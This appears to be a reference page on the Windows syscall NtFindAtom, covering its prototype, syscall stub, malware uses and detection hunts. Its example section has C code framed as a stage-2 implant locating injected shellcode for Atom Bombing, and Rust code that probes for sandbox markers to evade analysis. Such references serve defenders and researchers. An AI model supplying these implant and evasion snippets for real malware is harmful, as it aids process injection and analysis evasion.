NtFindAtom

Prototype

NTSTATUS NtFindAtom(
  PWSTR     AtomName,
  ULONG     Length,
  PRTL_ATOM Atom
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 14 00 00 00      mov eax, 0x14
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

SSN `0x14` is stable from 1507 through 24H2 — atom table interfaces simply don't move. NtFindAtom is the read-only sibling of NtAddAtom: it walks the global atom hash table, byte-comparing the Length-bytes input against each entry, and returns the existing ID without touching the refcount. Unlike NtAddAtom, NtFindAtom returns STATUS_OBJECT_NAME_NOT_FOUND when the name is absent (NtAddAtom would create it). The Win32 wrappers are `GlobalFindAtomA/W`.

Common malware usage

**Atom Bombing rendezvous** — the second implant (or a sibling thread) calls NtFindAtom on a previously-agreed marker string to discover whether stage-1 shellcode is already in the atom table and to learn its ID before queueing the APC that triggers `GlobalGetAtomNameA` in the target. Also used for **inter-implant IPC coordination** where the atom table acts as a covert shared key/value store: implants publish session identifiers, beacon IDs, or callback URL hashes as atom names, and peers `NtFindAtom` them to discover one another without touching disk, registry, or sockets. **Sandbox detection** — query the table for atoms left by sandbox harness (e.g. Triage and Joe Sandbox each register a small set of recognisable atom strings during boot); presence indicates an analysis environment. Cheap, no API import beyond ntdll, and undetectable by file/registry-centric EDRs.

Detection opportunities

Even lower volume than NtAddAtom in alerting telemetry — most products treat the atom table as a black box. Useful hunt: **NtFindAtom called by a process that never calls NtAddAtom**, with a Length suggesting hash lookup of a marker rather than a window-class name (typically 8-64 bytes), correlated with subsequent NtQueueApcThread to a remote process — strong sign of Atom Bombing rendezvous. ETW Microsoft-Windows-Kernel-Audit-API-Calls exposes the syscall. WinDbg `!atom` shows the current global table and is the ground-truth for incident response. Defender's behavioral engine added an Atom Bomb-specific detection (~2018) that fires on the full GlobalAddAtomA + GlobalGetAtomNameA-via-APC chain, but NtFindAtom alone usually doesn't trip it.

Direct syscall examples

; Direct syscall stub for NtFindAtom (SSN 0x14, all builds)
NtFindAtom PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 14h          ; SSN
    syscall
    ret
NtFindAtom ENDP

// Stage-2 implant looks up the agreed marker atom to find the stage-1
// shellcode payload uploaded via NtAddAtom by a sibling. Returns the
// atom ID, ready to feed to GlobalGetAtomNameA via an APC in the target.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtFindAtom)(PWSTR, ULONG, PUSHORT);

USHORT FindRendezvousAtom(PCWSTR marker) {
    pNtFindAtom NtFindAtom = (pNtFindAtom)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtFindAtom");
    USHORT id = 0;
    ULONG bytes = (ULONG)(wcslen(marker) * sizeof(WCHAR));
    NTSTATUS s = NtFindAtom((PWSTR)marker, bytes, &id);
    return NT_SUCCESS(s) ? id : 0;
}

// Cargo: ntapi = "0.4", widestring = "1"
// Probe the global atom table for known sandbox-harness markers. Presence
// of any of these signals an analysis environment.
use ntapi::ntexapi::NtFindAtom;
use widestring::U16CString;

const MARKERS: &[&str] = &[
    "TriageHostMarker_v3",
    "JoeSandboxAgent_active",
    "AnyRun_Probe",
];

pub unsafe fn looks_like_sandbox() -> bool {
    for &m in MARKERS {
        let w = U16CString::from_str(m).unwrap();
        let mut id: u16 = 0;
        let s = NtFindAtom(w.as_ptr() as _, (w.len() * 2) as u32, &mut id);
        if s >= 0 && id != 0 { return true; }
    }
    false
}

MITRE ATT&CK mappings

• T1055Process Injectionmitre ↗
• T1559Inter-Process Communicationmitre ↗
• T1497Virtualization/Sandbox Evasionmitre ↗
• T1106Native APImitre ↗